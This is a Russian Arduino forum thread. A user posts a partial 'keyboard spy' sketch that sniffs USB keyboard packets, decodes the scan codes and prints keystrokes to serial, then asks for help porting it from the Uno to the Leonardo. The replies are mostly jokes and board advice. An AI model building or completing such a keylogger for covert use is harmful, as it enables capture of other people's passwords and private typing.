Требуется помощь в изменении скетча с Arduino Uno на Arduino Leonardo

MetallCrafter
Offline
Зарегистрирован: 18.09.2019

Есть готовый скетч клавиатурного шпиона, написанный для Arduino Uno. При прошивке данного скетча в Arduino Leonardo IDE ругается на библиотеку uart.h. Uno прошивается без проблем. Требуется помощь в редактировании данного скетча или библиотеки. устройство должно считывать нажатую с клавиатуры клавишу и выводить её значение в Serial-порт. Очень нужна помощь

#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
// библиотека для работы с протоколом USB
#include <usbdrv.h>
// библиотека для работы с Serial-портом
#include <uart.h>
 
// PID      8 бит идентификатор
// ADDR     7 бит адрес устройства
// Endpoint 4 бита номер конечной точки
// CRC      5 бит контрольная сумма
// итого 3 байта
#define IN_SIZE       3
 
// PID  8 бит идентификатор
// DATA 64 бита данные
// CRC  16 бит контрольная сумма
// итого 11 байт
#define USB_BUFSIZE   11
 
// количество принятых пакетов хранимых в памяти
// должно быть четным и соблюдаться условие
// (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
#define FIFO_BUF_SIZE 10
 
// RX буфер: 3 байта запроса IN + 11 байт данных DATAx
unsigned char usbRxBuf[USB_BUFSIZE];
 
unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
 
// номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurWritePos = 0;
// номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurReadPos  = 0;
 
// массив символов для декодирования скан-кодов при не нажатой клавиши Shift
unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
 
// массив символов для декодирования скан-кодов при зажатой клавиши Shift
unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
 
void setup()
{
  // открываем последовательный порт
  Serial.begin(115200);
  // настраиваем прерывание
  usbInit();
  // печатаем о готовности устройства
  Serial.print("UART init complet");
  // разрешаем прерывания
  sei();
}
 
void loop()
{
  // если сработало прерывание
  // то переменная CurWritePos изменит своё значение
  if (CurWritePos != CurReadPos) {
    // вызываем функцию printResult
    printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
    CurReadPos++;
    if (CurReadPos >= FIFO_BUF_SIZE) {
    CurReadPos = 0;
    }
  }
}
 
void printResult(uchar *datakey, uchar len)
{
  bool shift = 0;
  // если во время очередного нажатия на клавишу
  // была нажата кнопка Shift
  if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
  shift = 1;
  else
  shift = 0;
  // если 4 или 3 байт из массива данных пришёл не нулевой
  // значит нажата одна из клавиш
  if (*(datakey + 4) != 0) {
  // вызываем функцию печати 2-го символа
  printKey(*(datakey + 4), shift);
  } else if (*(datakey + 3) != 0) {
         // вызываем функцию печати 1-го символа
         printKey(*(datakey + 3), shift);
         }
}
 
void printKey(uchar key, bool shift)
{
  // если нажата одна из клавиш английского алфавита
  if (key >= 0x4 && key <= 0x27) {
    // если нажат Shift декодируем скан-коды как заглавные буквы
    if (shift == 1) {
      Serial.write(masskeyShift[key-4]);
    } else {
      // если нет декодируем скан-коды как строчные буквы
      Serial.write(masskey[key-4]);
    }
  } else if (key == 0x28) {
    // если пришел скан-код клавиши Enter
    Serial.print("\r\n");
  } else if (key == 0x2B) {
    // если пришел скан-код клавиши Tab
    Serial.print("\t");
  } else if (key == 0x2C) {
    // если пришел скан-код клавиши Space
    Serial.print(" ");
  } else if (key >= 0x2d && key <= 0x38) {
    // если пришел сканд-код из знаков пунктуации
    if (shift == 1)
    Serial.write(masskeyShift[key - 9]);
    else
    Serial.write(masskey[key - 9]);
  } else {
    // если пришёл скан-код которого мы не знаем
    // печатаем его без декодирования
    printHex(key);
  }
}

 

Green
Offline
Зарегистрирован: 01.10.2015
Gas311
Gas311 аватар
Offline
Зарегистрирован: 06.12.2018

Сделаю. Минимум 2 банки пива. 

fridgetester
fridgetester аватар
Offline
Зарегистрирован: 09.02.2019

а чё просто закомментить инклуд религия не позволяет?

Gas311
Gas311 аватар
Offline
Зарегистрирован: 06.12.2018

Ну вот и выдали секрет. Остался я без пива

fridgetester
fridgetester аватар
Offline
Зарегистрирован: 09.02.2019

Два слеша за два пива. Получается слеш за пиво. Нифига у тебя расценки. А скока тогда буквы и цифры у тебя стоят?

Gas311
Gas311 аватар
Offline
Зарегистрирован: 06.12.2018

Буквы и цифры бесплатно. 

fridgetester
fridgetester аватар
Offline
Зарегистрирован: 09.02.2019

тада есть экономический смысл заказывть у тебя код без каментов. закащики, налетай

Gas311
Gas311 аватар
Offline
Зарегистрирован: 06.12.2018

fridgetester пишет:

тада есть экономический смысл заказывть у тебя код без каментов. закащики, налетай

и без букв.

Бесплатно буквы только в каментах

karamzin01
Offline
Зарегистрирован: 08.03.2018

Привет, предложу Лучший вариант - maslachenko767@mail.ru , консультации, подбор компонентов бесплатно, гарантии имеются

Gas311
Gas311 аватар
Offline
Зарегистрирован: 06.12.2018

karamzin01 пишет:
Привет, предложу Лучший вариант - maslachenko767@mail.ru , консультации, подбор компонентов бесплатно, гарантии имеются

Да куда уж лучше? Два слэша поставить. ТС и сам это сделает

MetallCrafter
Offline
Зарегистрирован: 18.09.2019

если б всё было так просто... без этой библиотеки не пашет устройство вообще
эта библиотека с uno совместима, а на leonardo аналогов я не нашёл

fridgetester
fridgetester аватар
Offline
Зарегистрирован: 09.02.2019

Библиотека uart никак не влияет на работу устройства(только на вывод данных в Serial). А вот используемая usb-шная либа(usbdrv) может и не работать под Leoardo. Могу помочь разобраться с ней, fridgetester@mail.ru

sadman41
Offline
Зарегистрирован: 19.10.2016

Просто интересно - зачем дешёвый Uno/Nano/Mini с пыхтеньем менять на дорогой Leonardo, если USB-фичи этого леонардо использованы не будут?

xDriver
xDriver аватар
Offline
Зарегистрирован: 14.08.2015

sadman41 пишет:

Просто интересно - зачем дешёвый Uno/Nano/Mini с пыхтеньем менять на дорогой Leonardo, если USB-фичи этого леонардо использованы не будут?

так в инете так сказали, только УНО

MetallCrafter
Offline
Зарегистрирован: 18.09.2019

я просто планирую вывод символов осуществить на LCD-дислей, и запись на карту microSD. а на UNO просто пинов не хватит на всё это

Gas311
Gas311 аватар
Offline
Зарегистрирован: 06.12.2018

sadman41 пишет:

Просто интересно - зачем дешёвый Uno/Nano/Mini с пыхтеньем менять на дорогой Leonardo, если USB-фичи этого леонардо использованы не будут?

Может лучше Мегу взять? 

MetallCrafter
Offline
Зарегистрирован: 18.09.2019

да поздно... взял Leonardo в надежде, что заработает. А тут такой облом

sadman41
Offline
Зарегистрирован: 19.10.2016

MetallCrafter пишет:

я просто планирую вывод символов осуществить на LCD-дислей, и запись на карту microSD. а на UNO просто пинов не хватит на всё это

А на леонарде их больше? Я по картинке посмотрел - вроде столько же, сколько и на Uno.

Сдаётся мне - нужно с другого конца заходить.

MetallCrafter
Offline
Зарегистрирован: 18.09.2019

В любом случае, с Leonardo работать проще и в плане прошивки и в плане подключения периферии (лично для меня). Не кидайтесь камнями, пожалуйста, я только начинаю в этом разбираться

sadman41
Offline
Зарегистрирован: 19.10.2016

А чего кидаться? Хозяин - барин. Можете на дорогую ардуину задорого заказывать переделку прошивки, я и слова не скажу. 

Но я никаких специфических возможностей леонарды, которые бы в данной задаче понадобились - не вижу, например. Разве что на полкило больше оперативки. 

То, что описано в первопосте, вполне может быть запихано в Uno, думаю.

xDriver
xDriver аватар
Offline
Зарегистрирован: 14.08.2015

хорошо не будем.

только поймите, разбираться можно только в тухлых помидорах, тут надо учится,учится и учится, даже если вы считаете что уже поздно.

MetallCrafter
Offline
Зарегистрирован: 18.09.2019

спасибо за совет)

dimax
dimax аватар
Offline
Зарегистрирован: 25.12.2013

MetallCrafter пишет:

В любом случае, с Leonardo работать проще и в плане прошивки и в плане подключения периферии (лично для меня). Не кидайтесь камнями, пожалуйста, я только начинаю в этом разбираться

Легко прошивать до тех пор, пока вы случайно не заблокируете в каком нибудь своём скетче работу CDC ком-порта. Если это случится, то прошить через бутлоадер будет очень трудно.   В этом смысле UNO существенно надёжнее.

Ну и про совместимость библиотек -вы уже знаете. Далеко не все работают на Леонардо.